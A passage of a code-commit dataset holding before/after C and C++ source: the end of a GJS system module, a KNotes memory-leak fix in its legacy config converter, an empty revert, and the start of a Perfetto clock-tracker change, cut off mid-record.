(gjs_breakpoint), 0, GJS_MODULE_PROP_FLAGS },\n    { \"gc\", JSOP_WRAPPER (gjs_gc), 0, GJS_MODULE_PROP_FLAGS },\n    { \"exit\", JSOP_WRAPPER (gjs_exit), 0, GJS_MODULE_PROP_FLAGS },\n    { \"clearDateCaches\", JSOP_WRAPPER (gjs_clear_date_caches), 0, GJS_MODULE_PROP_FLAGS },\n    { NULL },\n};\n\nJSBool\ngjs_js_define_system_stuff(JSContext  *context,\n                           JSObject  **module_out)\n{\n    GjsContext *gjs_context;\n    char *program_name;\n    jsval value;\n    JSBool retval;\n    JSObject *module;\n\n    module = JS_NewObject (context, NULL, NULL, NULL);\n\n    if (!JS_DefineFunctions(context, module, &module_funcs[0]))\n        return JS_FALSE;\n\n    retval = JS_FALSE;\n\n    gjs_context = (GjsContext*) JS_GetContextPrivate(context);\n    g_object_get(gjs_context,\n                 \"program-name\", &program_name,\n                 NULL);\n\n    if (!gjs_string_from_utf8(context, program_name,\n                              -1, &value))\n        goto out;\n\n    \/* The name is modeled after program_invocation_name,\n       part of the glibc *\/\n    if (!JS_DefineProperty(context, module,\n                           \"programInvocationName\",\n                           value,\n                           JS_PropertyStub,\n                           JS_StrictPropertyStub,\n                           GJS_MODULE_PROP_FLAGS | JSPROP_READONLY))\n        goto out;\n\n    if (!JS_DefineProperty(context, module,\n                           \"version\",\n                           INT_TO_JSVAL(GJS_VERSION),\n                           JS_PropertyStub,\n                           JS_StrictPropertyStub,\n                           GJS_MODULE_PROP_FLAGS | JSPROP_READONLY))\n        goto out;\n\n    retval = JS_TRUE;\n\n out:\n    g_free(program_name);\n    *module_out = module;\n\n    return retval;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************\n KNotes -- Notes for the KDE project\n\n Copyright (c) 2002, 2003, Michael Brade <brade@kde.org>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n*******************************************************************\/\n\n#include <qfile.h>\n#include <qfont.h>\n#include <qpoint.h>\n#include <qcolor.h>\n#include <qstringlist.h>\n#include <qtextstream.h>\n\n#include <kdebug.h>\n#include <kapplication.h>\n#include <kglobal.h>\n#include <kstandarddirs.h>\n#include <kurl.h>\n#include <ksimpleconfig.h>\n#include <kio\/netaccess.h>\n\n#include <unistd.h>\n\n#include \"version.h\"\n#include \"knoteslegacy.h\"\n\n#include \"libkcal\/calendarlocal.h\"\n#include \"libkcal\/journal.h\"\n\n#include <netwm.h>\n\nusing namespace KCal;\n\n\nvoid KNotesLegacy::cleanUp()\n{\n    \/\/ remove old (KDE 1.x) local config file if it still exists\n    QString configfile = KGlobal::dirs()->findResource( \"config\", \"knotesrc\" );\n    KSimpleConfig *test = new KSimpleConfig( configfile );\n    test->setGroup( \"General\" );\n    double version = test->readDoubleNumEntry( \"version\", 1 );\n    if ( version == 1 )\n    {\n        delete test;\n        if ( !( checkAccess( configfile, W_OK ) &&\n                KIO::NetAccess::del( KURL(configfile), 0 ) ) )\n        {\n            kdError(5500) << k_funcinfo << \"Could not delete old config file!!\" << endl;\n            \/\/ TODO\n        }\n    }\n    else if ( version < 3 )\n    {\n        test->writeEntry( \"version\", KNOTES_VERSION );\n        delete test;\n    }\n}\n\nbool KNotesLegacy::convert( CalendarLocal *calendar )\n{\n    bool converted = false;\n\n    QDir noteDir( KGlobal::dirs()->saveLocation( \"appdata\", \"notes\/\" ) );\n    QStringList notes = noteDir.entryList( QDir::Files, QDir::Name );\n    for ( QStringList::Iterator note = notes.begin(); note != notes.end(); note++ )\n    {\n        QString file = noteDir.absFilePath( *note );\n        KSimpleConfig* test = new KSimpleConfig( file, true );\n        test->setGroup( \"General\" );\n        double version = test->readDoubleNumEntry( \"version\", 1 );\n        delete test;\n\n        if ( version < 3.0 )\n        {\n            \/\/ create the new note\n            Journal *journal = new Journal();\n\n            if ( version < 2.0 )\n                convertKNotes1Config( journal, noteDir, *note );\n            else\n                convertKNotes2Config( journal, noteDir, *note );\n\n            calendar->addJournal( journal );\n            converted = true;\n        }\n    }\n\n    return converted;\n}\n\nvoid KNotesLegacy::convertKNotes1Config( Journal *journal, QDir& noteDir,\n        const QString& file )\n{\n    QFile infile( noteDir.absFilePath( file ) );\n\n    if ( !infile.open( IO_ReadOnly ) )\n    {\n        kdError(5500) << k_funcinfo << \"Could not open input file: \" << infile.name() << endl;\n\n        \/\/ TODO: better return false and delete current journal, same in convertKNotes2Config\n        return;\n    }\n\n    QTextStream input( &infile );\n\n    \/\/ set the new configfile's name...\n    QString configFile = noteDir.absFilePath( journal->uid() );\n\n    \/\/ set the defaults\n    KIO::NetAccess::copy(\n        KURL( KGlobal::dirs()->findResource( \"config\", \"knotesrc\" ) ), KURL( configFile ), 0\n    );\n\n    \/\/ get the name\n    journal->setSummary( input.readLine() );\n\n    \/\/ TODO: Needed? What about KConfig? This deletes everything else?\n    \/\/       Test with a config file that contains a value not set here!\n    KSimpleConfig config( configFile );\n\n    config.setGroup( \"General\" );\n    config.writeEntry( \"version\", KNOTES_VERSION );\n\n    \/\/ use the new default for this group\n    config.setGroup( \"Actions\" );\n    config.writeEntry( \"mail\", \"kmail --msg %f\" );\n\n    config.setGroup( \"Display\" );\n\n    \/\/ get the geometry\n    QString geo = input.readLine();\n\n    int pos, data[13];\n    int n = 0;\n\n    while ( (pos = geo.find('+')) != -1 )\n    {\n        if( n < 13 )\n            data[n++] = geo.left(pos).toInt();\n        geo.remove( 0, pos + 1 );\n    }\n    if ( n < 13 )\n        data[n++] = geo.toInt();\n\n    config.writeEntry( \"width\", data[3] );\n    config.writeEntry( \"height\", data[4] );\n\n    \/\/ get the background color\n    uint red = input.readLine().toUInt();\n    uint green = input.readLine().toUInt();\n    uint blue = input.readLine().toUInt();\n    config.writeEntry( \"bgcolor\", QColor( red, green, blue ) );\n\n    \/\/ get the foreground color\n    red = input.readLine().toUInt();\n    green = input.readLine().toUInt();\n    blue = input.readLine().toUInt();\n    config.writeEntry( \"fgcolor\", QColor( red, green, blue ) );\n\n    config.setGroup( \"Editor\" );\n\n    \/\/ get the font\n    QString fontfamily = input.readLine();\n    if ( fontfamily.isEmpty() )\n        fontfamily = QString( \"helvetica\" );\n    uint size = input.readLine().toUInt();\n    size = QMAX( size, 4 );\n    uint weight = input.readLine().toUInt();\n    bool italic = ( input.readLine().toUInt() == 1 );\n    QFont font( fontfamily, size, weight, italic );\n\n    config.writeEntry( \"titlefont\", font );\n    config.writeEntry( \"font\", font );\n\n    \/\/ 3d frame? Not supported yet!\n    input.readLine();\n\n    \/\/ autoindent\n    bool indent = ( input.readLine().toUInt() == 1 );\n    config.writeEntry( \"autoindent\", indent );\n\n    \/\/ rich text and tabsize\n    config.writeEntry( \"richtext\", false );\n    config.writeEntry( \"tabsize\", 4 );\n\n    config.setGroup( \"WindowDisplay\" );\n\n    \/\/ hidden\n    bool hidden = ( input.readLine().toUInt() == 1 );\n\n    int note_desktop = data[0];\n    if ( hidden )\n        note_desktop = 0;\n    else if ( data[11] == 1 )\n        note_desktop = NETWinInfo::OnAllDesktops;\n\n    config.writeEntry( \"desktop\", note_desktop );\n\n    if ( data[1] >= 0 && data[2] >= 0 )   \/\/ just to be sure...\n        config.writeEntry( \"position\", QPoint( data[1], data[2] ) );\n    else\n        config.writeEntry( \"position\", QPoint( 10, 10 ) );\n\n    if ( data[12] & 2048 )\n        config.writeEntry( \"state\", NET::SkipTaskbar | NET::StaysOnTop );\n    else\n        config.writeEntry( \"state\", NET::SkipTaskbar );\n\n    config.sync();\n\n    \/\/ get the text\n    QString text;\n    while ( !input.atEnd() )\n    {\n        text.append( input.readLine() );\n        if ( !input.atEnd() )\n            text.append( '\\n' );\n    }\n\n    journal->setDescription( text );\n    journal->addAttachment( new Attachment( configFile, CONFIG_MIME ) );\n\n    infile.close();\n    infile.remove();        \/\/ TODO: success?\n}\n\nvoid KNotesLegacy::convertKNotes2Config( Journal *journal, QDir& noteDir,\n        const QString& file )\n{\n    \/\/ new name for config file\n    noteDir.rename( file, journal->uid() );\n    QString configFile = noteDir.absFilePath( journal->uid() );\n\n    \/\/ update the config\n    KConfig config( configFile );\n    config.setGroup( \"Data\" );\n    journal->setSummary( config.readEntry( \"name\" ) );\n    config.deleteEntry( \"name\" );\n    config.deleteGroup( \"Data\", false );\n    config.setGroup( \"General\" );\n    config.writeEntry( \"version\", KNOTES_VERSION );\n\n    \/\/ load the saved text and put it in the journal\n    QFile infile( noteDir.absFilePath( \".\" + file + \"_data\" ) );\n    if ( infile.open( IO_ReadOnly ) )\n    {\n        QTextStream input( &infile );\n        input.setEncoding( QTextStream::UnicodeUTF8 );\n        journal->setDescription( input.read() );\n        infile.close();\n        infile.remove();    \/\/ TODO: success?\n    }\n    else\n        kdError(5500) << k_funcinfo << \"Could not open input file: \" << infile.name() << endl;\n\n    journal->addAttachment( new Attachment( configFile, CONFIG_MIME ) );\n}\n<commit_msg>Fix potential mem leak<commit_after>\/*******************************************************************\n KNotes -- Notes for the KDE project\n\n Copyright (c) 2002, 2003, Michael Brade <brade@kde.org>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n*******************************************************************\/\n\n#include <qfile.h>\n#include <qfont.h>\n#include <qpoint.h>\n#include <qcolor.h>\n#include <qstringlist.h>\n#include <qtextstream.h>\n\n#include <kdebug.h>\n#include <kapplication.h>\n#include <kglobal.h>\n#include <kstandarddirs.h>\n#include <kurl.h>\n#include <ksimpleconfig.h>\n#include <kio\/netaccess.h>\n\n#include <unistd.h>\n\n#include \"version.h\"\n#include \"knoteslegacy.h\"\n\n#include \"libkcal\/calendarlocal.h\"\n#include \"libkcal\/journal.h\"\n\n#include <netwm.h>\n\nusing namespace KCal;\n\n\nvoid KNotesLegacy::cleanUp()\n{\n    \/\/ remove old (KDE 1.x) local config file if it still exists\n    QString configfile = KGlobal::dirs()->findResource( \"config\", \"knotesrc\" );\n    KSimpleConfig *test = new KSimpleConfig( configfile );\n    test->setGroup( \"General\" );\n    double version = test->readDoubleNumEntry( \"version\", 1 );\n    if ( version == 1 )\n    {\n        delete test;\n        if ( !( checkAccess( configfile, W_OK ) &&\n                KIO::NetAccess::del( KURL(configfile), 0 ) ) )\n        {\n            kdError(5500) << k_funcinfo << \"Could not delete old config file!!\" << endl;\n            \/\/ TODO\n        }\n    }\n    else if ( version < 3 )\n    {\n        test->writeEntry( \"version\", KNOTES_VERSION );\n        delete test;\n    }\n    else\n        delete test;\n}\n\nbool KNotesLegacy::convert( CalendarLocal *calendar )\n{\n    bool converted = false;\n\n    QDir noteDir( KGlobal::dirs()->saveLocation( \"appdata\", \"notes\/\" ) );\n    QStringList notes = noteDir.entryList( QDir::Files, QDir::Name );\n    for ( QStringList::Iterator note = notes.begin(); note != notes.end(); note++ )\n    {\n        QString file = noteDir.absFilePath( *note );\n        KSimpleConfig* test = new KSimpleConfig( file, true );\n        test->setGroup( \"General\" );\n        double version = test->readDoubleNumEntry( \"version\", 1 );\n        delete test;\n\n        if ( version < 3.0 )\n        {\n            \/\/ create the new note\n            Journal *journal = new Journal();\n\n            if ( version < 2.0 )\n                convertKNotes1Config( journal, noteDir, *note );\n            else\n                convertKNotes2Config( journal, noteDir, *note );\n\n            calendar->addJournal( journal );\n            converted = true;\n        }\n    }\n\n    return converted;\n}\n\nvoid KNotesLegacy::convertKNotes1Config( Journal *journal, QDir& noteDir,\n        const QString& file )\n{\n    QFile infile( noteDir.absFilePath( file ) );\n\n    if ( !infile.open( IO_ReadOnly ) )\n    {\n        kdError(5500) << k_funcinfo << \"Could not open input file: \" << infile.name() << endl;\n\n        \/\/ TODO: better return false and delete current journal, same in convertKNotes2Config\n        return;\n    }\n\n    QTextStream input( &infile );\n\n    \/\/ set the new configfile's name...\n    QString configFile = noteDir.absFilePath( journal->uid() );\n\n    \/\/ set the defaults\n    KIO::NetAccess::copy(\n        KURL( KGlobal::dirs()->findResource( \"config\", \"knotesrc\" ) ), KURL( configFile ), 0\n    );\n\n    \/\/ get the name\n    journal->setSummary( input.readLine() );\n\n    \/\/ TODO: Needed? What about KConfig? This deletes everything else?\n    \/\/       Test with a config file that contains a value not set here!\n    KSimpleConfig config( configFile );\n\n    config.setGroup( \"General\" );\n    config.writeEntry( \"version\", KNOTES_VERSION );\n\n    \/\/ use the new default for this group\n    config.setGroup( \"Actions\" );\n    config.writeEntry( \"mail\", \"kmail --msg %f\" );\n\n    config.setGroup( \"Display\" );\n\n    \/\/ get the geometry\n    QString geo = input.readLine();\n\n    int pos, data[13];\n    int n = 0;\n\n    while ( (pos = geo.find('+')) != -1 )\n    {\n        if( n < 13 )\n            data[n++] = geo.left(pos).toInt();\n        geo.remove( 0, pos + 1 );\n    }\n    if ( n < 13 )\n        data[n++] = geo.toInt();\n\n    config.writeEntry( \"width\", data[3] );\n    config.writeEntry( \"height\", data[4] );\n\n    \/\/ get the background color\n    uint red = input.readLine().toUInt();\n    uint green = input.readLine().toUInt();\n    uint blue = input.readLine().toUInt();\n    config.writeEntry( \"bgcolor\", QColor( red, green, blue ) );\n\n    \/\/ get the foreground color\n    red = input.readLine().toUInt();\n    green = input.readLine().toUInt();\n    blue = input.readLine().toUInt();\n    config.writeEntry( \"fgcolor\", QColor( red, green, blue ) );\n\n    config.setGroup( \"Editor\" );\n\n    \/\/ get the font\n    QString fontfamily = input.readLine();\n    if ( fontfamily.isEmpty() )\n        fontfamily = QString( \"helvetica\" );\n    uint size = input.readLine().toUInt();\n    size = QMAX( size, 4 );\n    uint weight = input.readLine().toUInt();\n    bool italic = ( input.readLine().toUInt() == 1 );\n    QFont font( fontfamily, size, weight, italic );\n\n    config.writeEntry( \"titlefont\", font );\n    config.writeEntry( \"font\", font );\n\n    \/\/ 3d frame? Not supported yet!\n    input.readLine();\n\n    \/\/ autoindent\n    bool indent = ( input.readLine().toUInt() == 1 );\n    config.writeEntry( \"autoindent\", indent );\n\n    \/\/ rich text and tabsize\n    config.writeEntry( \"richtext\", false );\n    config.writeEntry( \"tabsize\", 4 );\n\n    config.setGroup( \"WindowDisplay\" );\n\n    \/\/ hidden\n    bool hidden = ( input.readLine().toUInt() == 1 );\n\n    int note_desktop = data[0];\n    if ( hidden )\n        note_desktop = 0;\n    else if ( data[11] == 1 )\n        note_desktop = NETWinInfo::OnAllDesktops;\n\n    config.writeEntry( \"desktop\", note_desktop );\n\n    if ( data[1] >= 0 && data[2] >= 0 )   \/\/ just to be sure...\n        config.writeEntry( \"position\", QPoint( data[1], data[2] ) );\n    else\n        config.writeEntry( \"position\", QPoint( 10, 10 ) );\n\n    if ( data[12] & 2048 )\n        config.writeEntry( \"state\", NET::SkipTaskbar | NET::StaysOnTop );\n    else\n        config.writeEntry( \"state\", NET::SkipTaskbar );\n\n    config.sync();\n\n    \/\/ get the text\n    QString text;\n    while ( !input.atEnd() )\n    {\n        text.append( input.readLine() );\n        if ( !input.atEnd() )\n            text.append( '\\n' );\n    }\n\n    journal->setDescription( text );\n    journal->addAttachment( new Attachment( configFile, CONFIG_MIME ) );\n\n    infile.close();\n    infile.remove();        \/\/ TODO: success?\n}\n\nvoid KNotesLegacy::convertKNotes2Config( Journal *journal, QDir& noteDir,\n        const QString& file )\n{\n    \/\/ new name for config file\n    noteDir.rename( file, journal->uid() );\n    QString configFile = noteDir.absFilePath( journal->uid() );\n\n    \/\/ update the config\n    KConfig config( configFile );\n    config.setGroup( \"Data\" );\n    journal->setSummary( config.readEntry( \"name\" ) );\n    config.deleteEntry( \"name\" );\n    config.deleteGroup( \"Data\", false );\n    config.setGroup( \"General\" );\n    config.writeEntry( \"version\", KNOTES_VERSION );\n\n    \/\/ load the saved text and put it in the journal\n    QFile infile( noteDir.absFilePath( \".\" + file + \"_data\" ) );\n    if ( infile.open( IO_ReadOnly ) )\n    {\n        QTextStream input( &infile );\n        input.setEncoding( QTextStream::UnicodeUTF8 );\n        journal->setDescription( input.read() );\n        infile.close();\n        infile.remove();    \/\/ TODO: success?\n    }\n    else\n        kdError(5500) << k_funcinfo << \"Could not open input file: \" << infile.name() << endl;\n\n    journal->addAttachment( new Attachment( configFile, CONFIG_MIME ) );\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Revert \"Correct skiping source file line of  msgctxt\"<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"src\/trace_processor\/importers\/common\/clock_tracker.h\"\n\n#include <inttypes.h>\n\n#include <algorithm>\n#include <queue>\n\n#include \"perfetto\/base\/logging.h\"\n#include \"perfetto\/ext\/base\/hash.h\"\n#include \"src\/trace_processor\/storage\/trace_storage.h\"\n#include \"src\/trace_processor\/types\/trace_processor_context.h\"\n\n#include \"protos\/perfetto\/common\/builtin_clock.pbzero.h\"\n#include \"protos\/perfetto\/trace\/clock_snapshot.pbzero.h\"\n\nnamespace perfetto {\nnamespace trace_processor {\n\nusing Clock = protos::pbzero::ClockSnapshot::Clock;\n\nClockTracker::ClockTracker(TraceProcessorContext* ctx)\n    : context_(ctx),\n      trace_time_clock_id_(protos::pbzero::BUILTIN_CLOCK_BOOTTIME) {}\n\nClockTracker::~ClockTracker() = default;\n\nvoid ClockTracker::AddSnapshot(const std::vector<ClockValue>& clocks) {\n  const auto snapshot_id = cur_snapshot_id_++;\n\n  \/\/ Clear the cache\n  cache_.fill({});\n\n  \/\/ Compute the fingerprint of the snapshot by hashing all clock ids. This is\n  \/\/ used by the clock pathfinding logic.\n  base::Hash hasher;\n  for (const auto& clock : clocks)\n    hasher.Update(clock.clock_id);\n  const auto snapshot_hash = static_cast<SnapshotHash>(hasher.digest());\n\n  \/\/ Add a new entry in each clock's snapshot vector.\n  for (const auto& clock : clocks) {\n    ClockId clock_id = clock.clock_id;\n    ClockDomain& domain = clocks_[clock_id];\n    if (domain.snapshots.empty()) {\n      if (clock.is_incremental && !ClockIsSeqScoped(clock_id)) {\n        PERFETTO_ELOG(\"Clock sync error: the global clock with id=%\" PRIu64\n                      \" cannot use incremental encoding; this is only \"\n                      \"supported for sequence-scoped clocks.\",\n                      clock_id);\n        context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n        return;\n      }\n      domain.unit_multiplier_ns = clock.unit_multiplier_ns;\n      domain.is_incremental = clock.is_incremental;\n    } else if (PERFETTO_UNLIKELY(\n                   domain.unit_multiplier_ns != clock.unit_multiplier_ns ||\n                   domain.is_incremental != clock.is_incremental)) {\n      PERFETTO_ELOG(\"Clock sync error: the clock domain with id=%\" PRIu64\n                    \" (unit=%\" PRIu64\n                    \", incremental=%d), was previously registered with \"\n                    \"different properties (unit=%\" PRIu64 \", incremental=%d).\",\n                    clock_id, clock.unit_multiplier_ns, clock.is_incremental,\n                    domain.unit_multiplier_ns, domain.is_incremental);\n      context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n      return;\n    }\n    const int64_t timestamp_ns =\n        clock.absolute_timestamp * domain.unit_multiplier_ns;\n    domain.last_timestamp_ns = timestamp_ns;\n\n    ClockSnapshots& vect = domain.snapshots[snapshot_hash];\n    if (!vect.snapshot_ids.empty() &&\n        PERFETTO_UNLIKELY(vect.snapshot_ids.back() == snapshot_id)) {\n      PERFETTO_ELOG(\"Clock sync error: duplicate clock domain with id=%\" PRIu64\n                    \" at snapshot %\" PRIu32 \".\",\n                    clock_id, snapshot_id);\n      context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n      return;\n    }\n\n    \/\/ Clock ids in the range [64, 128) are sequence-scoped and must be\n    \/\/ translated to global ids via SeqScopedClockIdToGlobal() before calling\n    \/\/ this function.\n    PERFETTO_DCHECK(!IsReservedSeqScopedClockId(clock_id));\n\n    \/\/ Snapshot IDs must be always monotonic.\n    PERFETTO_DCHECK(vect.snapshot_ids.empty() ||\n                    vect.snapshot_ids.back() < snapshot_id);\n\n    if (!vect.timestamps_ns.empty() &&\n        timestamp_ns < vect.timestamps_ns.back()) {\n      \/\/ Clock is not monotonic.\n\n      if (clock_id == trace_time_clock_id_) {\n        \/\/ The trace clock cannot be non-monotonic.\n        PERFETTO_ELOG(\"Clock sync error: the trace clock (id=%\" PRIu64\n                      \") is not monotonic at snapshot %\" PRIu32 \". %\" PRId64\n                      \" not >= %\" PRId64 \".\",\n                      clock_id, snapshot_id, timestamp_ns,\n                      vect.timestamps_ns.back());\n        context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n        return;\n      }\n\n      PERFETTO_DLOG(\"Detected non-monotonic clock with ID %\" PRIu64, clock_id);\n\n      \/\/ For the other clocks the best thing we can do is mark it as\n      \/\/ non-monotonic and refuse to use it as a source clock in the resolution\n      \/\/ graph. We can still use it as a target clock, but not viceversa.\n      \/\/ The concrete example is the CLOCK_REALTIME going 1h backwards during\n      \/\/ daylight saving. We can still answer the question \"what was the\n      \/\/ REALTIME timestamp when BOOTTIME was X?\" but we can't answer the\n      \/\/ opposite question because there can be two valid BOOTTIME(s) for the\n      \/\/ same REALTIME instant because of the 1:many relationship.\n      non_monotonic_clocks_.insert(clock_id);\n\n      \/\/ Erase all edges from the graph that start from this clock (but keep the\n      \/\/ ones that end on this clock).\n      auto begin = graph_.lower_bound(ClockGraphEdge{clock_id, 0, 0});\n      auto end = graph_.lower_bound(ClockGraphEdge{clock_id + 1, 0, 0});\n      graph_.erase(begin, end);\n    }\n    vect.snapshot_ids.emplace_back(snapshot_id);\n    vect.timestamps_ns.emplace_back(timestamp_ns);\n  }\n\n  \/\/ Create graph edges for all the possible tuples of clocks in this snapshot.\n  \/\/ If the snapshot contains clock a, b, c, d create edges [ab, ac, ad, bc, bd,\n  \/\/ cd] and the symmetrical ones [ba, ca, da, bc, db, dc].\n  \/\/ This is to store the information: Clock A is syncable to Clock B via the\n  \/\/ snapshots of type (hash).\n  \/\/ Clocks that were previously marked as non-monotonic won't be added as\n  \/\/ valid sources.\n  for (auto it1 = clocks.begin(); it1 != clocks.end(); ++it1) {\n    auto it2 = it1;\n    ++it2;\n    for (; it2 != clocks.end(); ++it2) {\n      if (!non_monotonic_clocks_.count(it1->clock_id))\n        graph_.emplace(it1->clock_id, it2->clock_id, snapshot_hash);\n\n      if (!non_monotonic_clocks_.count(it2->clock_id))\n        graph_.emplace(it2->clock_id, it1->clock_id, snapshot_hash);\n    }\n  }\n}\n\n\/\/ Finds the shortest clock resolution path in the graph that allows to\n\/\/ translate a timestamp from |src| to |target| clocks.\n\/\/ The return value looks like the following: \"If you want to convert a\n\/\/ timestamp from clock C1 to C2 you need to first convert C1 -> C3 using the\n\/\/ snapshot hash A, then convert C3 -> C2 via snapshot hash B\".\nClockTracker::ClockPath ClockTracker::FindPath(ClockId src, ClockId target) {\n  \/\/ This is a classic breadth-first search. Each node in the queue holds also\n  \/\/ the full path to reach that node.\n  \/\/ We assume the graph is acyclic, if it isn't the ClockPath::kMaxLen will\n  \/\/ stop the search anyways.\n  PERFETTO_CHECK(src != target);\n  std::queue<ClockPath> queue;\n  queue.emplace(src);\n\n  while (!queue.empty()) {\n    ClockPath cur_path = queue.front();\n    queue.pop();\n\n    const ClockId cur_clock_id = cur_path.last;\n    if (cur_clock_id == target)\n      return cur_path;\n\n    if (cur_path.len >= ClockPath::kMaxLen)\n      continue;\n\n    \/\/ Expore all the adjacent clocks.\n    \/\/ The lower_bound() below returns an iterator to the first edge that starts\n    \/\/ on |cur_clock_id|. The edges are sorted by (src, target, hash).\n    for (auto it = std::lower_bound(graph_.begin(), graph_.end(),\n                                    ClockGraphEdge(cur_clock_id, 0, 0));\n         it != graph_.end() && std::get<0>(*it) == cur_clock_id; ++it) {\n      ClockId next_clock_id = std::get<1>(*it);\n      SnapshotHash hash = std::get<2>(*it);\n      queue.push(ClockPath(cur_path, next_clock_id, hash));\n    }\n  }\n  return ClockPath();  \/\/ invalid path.\n}\n\nbase::Optional<int64_t> ClockTracker::ConvertSlowpath(ClockId src_clock_id,\n                                                      int64_t src_timestamp,\n                                                      ClockId target_clock_id) {\n  PERFETTO_DCHECK(!IsReservedSeqScopedClockId(src_clock_id));\n  PERFETTO_DCHECK(!IsReservedSeqScopedClockId(target_clock_id));\n\n  context_->storage->IncrementStats(stats::clock_sync_cache_miss);\n\n  ClockPath path = FindPath(src_clock_id, target_clock_id);\n  if (!path.valid()) {\n    \/\/ Too many logs maybe emitted when path is invalid.\n    static uint64_t dlog_count = 0;\n    if (dlog_count++ < 10) {\n      PERFETTO_DLOG(\"No path from clock %\" PRIu64 \" to %\" PRIu64\n                    \" at timestamp %\" PRId64,\n                    src_clock_id, target_clock_id, src_timestamp);\n    }\n    context_->storage->IncrementStats(stats::clock_sync_failure);\n    return base::nullopt;\n  }\n\n  \/\/ We can cache only single-path resolutions between two clocks.\n  \/\/ Caching multi-path resolutions is harder because the (src,target) tuple\n  \/\/ is not enough as a cache key: at any step the |ns| value can yield to a\n  \/\/ different choice of the next snapshot. Multi-path resolutions don't seem\n  \/\/ too frequent these days, so we focus only on caching the more frequent\n  \/\/ one-step resolutions (typically from any clock to the trace clock).\n  const bool cacheable = path.len == 1;\n  CachedClockPath cache_entry{};\n\n  \/\/ Iterate trough the path found and translate timestamps onto the new clock\n  \/\/ domain on each step, until the target domain is reached.\n  ClockDomain* src_domain = GetClock(src_clock_id);\n  int64_t ns = src_domain->ToNs(src_timestamp);\n  for (uint32_t i = 0; i < path.len; ++i) {\n    const ClockGraphEdge edge = path.at(i);\n    ClockDomain* cur_clock = GetClock(std::get<0>(edge));\n    ClockDomain* next_clock = GetClock(std::get<1>(edge));\n    const SnapshotHash hash = std::get<2>(edge);\n\n    \/\/ Find the closest timestamp within the snapshots of the source clock.\n    const ClockSnapshots& cur_snap = cur_clock->GetSnapshot(hash);\n    const auto& ts_vec = cur_snap.timestamps_ns;\n    auto it = std::upper_bound(ts_vec.begin(), ts_vec.end(), ns);\n    if (it != ts_vec.begin())\n      --it;\n\n    \/\/ Now lookup the snapshot id that matches the closest timestamp.\n    size_t index = static_cast<size_t>(std::distance(ts_vec.begin(), it));\n    PERFETTO_DCHECK(index < ts_vec.size());\n    PERFETTO_DCHECK(cur_snap.snapshot_ids.size() == ts_vec.size());\n    uint32_t snapshot_id = cur_snap.snapshot_ids[index];\n\n    \/\/ And use that to retrieve the corresponding time in the next clock domain.\n    \/\/ The snapshot id must exist in the target clock domain. If it doesn't\n    \/\/ either the hash logic or the pathfinding logic are bugged.\n    \/\/ This can also happen if the checks in AddSnapshot fail and we skip part\n    \/\/ of the snapshot.\n    const ClockSnapshots& next_snap = next_clock->GetSnapshot(hash);\n\n    \/\/ Using std::lower_bound because snapshot_ids is sorted, so we can do\n    \/\/ a binary search. std::find would do a linear scan.\n    auto next_it = std::lower_bound(next_snap.snapshot_ids.begin(),\n                                    next_snap.snapshot_ids.end(), snapshot_id);\n    if (next_it == next_snap.snapshot_ids.end() || *next_it != snapshot_id) {\n      PERFETTO_DFATAL(\"Snapshot does not exist in clock domain.\");\n      continue;\n    }\n    size_t next_index = static_cast<size_t>(\n        std::distance(next_snap.snapshot_ids.begin(), next_it));\n    PERFETTO_DCHECK(next_index < next_snap.snapshot_ids.size());\n    int64_t next_timestamp_ns = next_snap.timestamps_ns[next_index];\n\n    \/\/ The translated timestamp is the relative delta of the source timestamp\n    \/\/ from the closest snapshot found (ns - *it), plus the timestamp in\n    \/\/ the new clock domain for the same snapshot id.\n    const int64_t adj = next_timestamp_ns - *it;\n    ns += adj;\n\n    \/\/ On the first iteration, keep track of the bounds for the cache entry.\n    \/\/ This will allow future Convert() calls to skip the pathfinder logic\n    \/\/ as long as the query stays within the bound.\n    if (cacheable) {\n      PERFETTO_DCHECK(i == 0);\n      const int64_t kInt64Min = std::numeric_limits<int64_t>::min();\n      const int64_t kInt64Max = std::numeric_limits<int64_t>::max();\n      cache_entry.min_ts_ns = it == ts_vec.begin() ? kInt64Min : *it;\n      auto ubound = it + 1;\n      cache_entry.max_ts_ns = ubound == ts_vec.end() ? kInt64Max : *ubound;\n      cache_entry.translation_ns = adj;\n    }\n\n    \/\/ The last clock in the path must be the target clock.\n    PERFETTO_DCHECK(i < path.len - 1 || std::get<1>(edge) == target_clock_id);\n  }\n\n  if (cacheable) {\n    cache_entry.src = src_clock_id;\n    cache_entry.src_domain = src_domain;\n    cache_entry.target = target_clock_id;\n    cache_[rnd_() % cache_.size()] = cache_entry;\n  }\n\n  return ns;\n}\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n<commit_msg>Avoid race in accessing log count<commit_after>\/*\n * Copyright 